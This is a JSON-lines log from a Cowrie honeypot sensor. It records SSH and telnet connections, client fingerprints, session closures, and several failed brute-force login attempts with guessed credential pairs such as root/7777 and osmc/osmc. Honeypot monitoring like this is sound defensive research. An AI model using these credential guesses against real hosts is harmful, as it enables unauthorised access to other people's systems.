{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:26:10.768066Z","src_ip":"103.27.238.114","session":"59faae8fb878","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"7777","message":"login attempt [root/7777] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:26:11.598170Z","src_ip":"103.27.238.114","session":"59faae8fb878","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00112128257751,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:26:11.874814Z","src_ip":"152.42.224.71","session":"f60dfee1e269","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:26:12.877124Z","src_ip":"103.27.238.114","session":"59faae8fb878","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00151038169861,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:26:13.157098Z","src_ip":"152.42.224.71","session":"fa372121ce4c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":32950,"dst_ip":"159.203.135.109","dst_port":22,"session":"8f91892f3d61","protocol":"ssh","message":"New connection: 31.40.204.166:32950 (159.203.135.109:22) [session: 8f91892f3d61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:26:15.283257Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:26:15.296960Z","src_ip":"31.40.204.166","session":"8f91892f3d61","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:26:15.416692Z","src_ip":"31.40.204.166","session":"8f91892f3d61","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"123","message":"login attempt [minecraft/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:26:16.283915Z","src_ip":"31.40.204.166","session":"8f91892f3d61","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":50.93086576461792,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:26:16.318829Z","src_ip":"152.42.224.71","session":"0e3a9a3119c0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"47.237.167.49","src_port":58684,"dst_ip":"159.203.135.109","dst_port":22,"session":"af4ac13433a3","protocol":"ssh","message":"New connection: 47.237.167.49:58684 (159.203.135.109:22) [session: af4ac13433a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:26:16.739681Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49482,"dst_ip":"10.17.0.5","dst_port":23,"session":"df4400fd31a9","protocol":"telnet","message":"New connection: 152.42.224.71:49482 (10.17.0.5:23) [session: df4400fd31a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:26:16.948481Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:26:17.497409Z","src_ip":"31.40.204.166","session":"8f91892f3d61","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49496,"dst_ip":"10.17.0.5","dst_port":23,"session":"078399e73f32","protocol":"telnet","message":"New connection: 152.42.224.71:49496 (10.17.0.5:23) [session: 078399e73f32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:26:18.094452Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49506,"dst_ip":"10.17.0.5","dst_port":23,"session":"6cf3f2a1b318","protocol":"telnet","message":"New connection: 152.42.224.71:49506 (10.17.0.5:23) [session: 6cf3f2a1b318]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:26:19.742971Z"}
{"eventid":"cowrie.session.connect","src_ip":"182.93.50.90","src_port":43752,"dst_ip":"10.17.0.5","dst_port":22,"session":"22559a1e2d34","protocol":"ssh","message":"New connection: 182.93.50.90:43752 (10.17.0.5:22) [session: 22559a1e2d34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:26:24.503992Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:26:24.509151Z","src_ip":"182.93.50.90","session":"22559a1e2d34","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:26:24.729208Z","src_ip":"182.93.50.90","session":"22559a1e2d34","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mariano","message":"login attempt [root/mariano] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:26:25.640500Z","src_ip":"182.93.50.90","session":"22559a1e2d34","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:26:26.863390Z","src_ip":"182.93.50.90","session":"22559a1e2d34","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":48880,"dst_ip":"159.203.135.109","dst_port":22,"session":"f5c602cf7bee","protocol":"ssh","message":"New connection: 31.40.204.166:48880 (159.203.135.109:22) [session: f5c602cf7bee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:26:28.218629Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:26:28.222702Z","src_ip":"31.40.204.166","session":"f5c602cf7bee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:26:28.405058Z","src_ip":"31.40.204.166","session":"f5c602cf7bee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"osmc","password":"osmc","message":"login attempt [osmc/osmc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:26:28.826724Z","src_ip":"31.40.204.166","session":"f5c602cf7bee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:26:30.014184Z","src_ip":"31.40.204.166","session":"f5c602cf7bee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":59572,"dst_ip":"159.203.135.109","dst_port":22,"session":"c3e410c80720","protocol":"ssh","message":"New connection: 51.250.105.222:59572 (159.203.135.109:22) [session: c3e410c80720]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:26:31.585911Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:26:31.590737Z","src_ip":"51.250.105.222","session":"c3e410c80720","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:26:31.719911Z","src_ip":"51.250.105.222","session":"c3e410c80720","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":38486,"dst_ip":"159.203.135.109","dst_port":22,"session":"8263eb8a26d9","protocol":"ssh","message":"New connection: 103.15.222.183:38486 (159.203.135.109:22) [session: 8263eb8a26d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:26:31.968681Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:26:31.974326Z","src_ip":"103.15.222.183","session":"8263eb8a26d9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"tdutybz","message":"login attempt [root/tdutybz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:26:32.111842Z","src_ip":"51.250.105.222","session":"c3e410c80720","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:26:32.224055Z","src_ip":"103.15.222.183","session":"8263eb8a26d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.664326429367065,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:26:32.292417Z","src_ip":"152.42.224.71","session":"6bb9efa990e7","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"1989","message":"login attempt [root/1989] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:26:32.960691Z","src_ip":"103.15.222.183","session":"8263eb8a26d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:26:33.243572Z","src_ip":"51.250.105.222","session":"c3e410c80720","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:26:34.208611Z","src_ip":"103.15.222.183","session":"8263eb8a26d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":108.15443110466003,"message":"Connection lost after 108 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:26:34.804067Z","src_ip":"152.42.224.71","session":"c5ede65c38d3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.6461226940155,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:26:36.500557Z","src_ip":"152.42.224.71","session":"916646a57e32","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:26:37.453910Z","src_ip":"47.237.167.49","session":"af4ac13433a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:26:37.458256Z","src_ip":"47.237.167.49","session":"af4ac13433a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.106.159.59","src_port":40406,"dst_ip":"10.17.0.5","dst_port":22,"session":"5e604a7e68fe","protocol":"ssh","message":"New connection: 170.106.159.59:40406 (10.17.0.5:22) [session: 5e604a7e68fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:26:39.249770Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:26:39.253013Z","src_ip":"170.106.159.59","session":"5e604a7e68fe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:26:39.321154Z","src_ip":"170.106.159.59","session":"5e604a7e68fe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"a123456a","message":"login attempt [root/a123456a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:26:39.630078Z","src_ip":"170.106.159.59","session":"5e604a7e68fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:26:40.702583Z","src_ip":"170.106.159.59","session":"5e604a7e68fe","protocol":"ssh"}
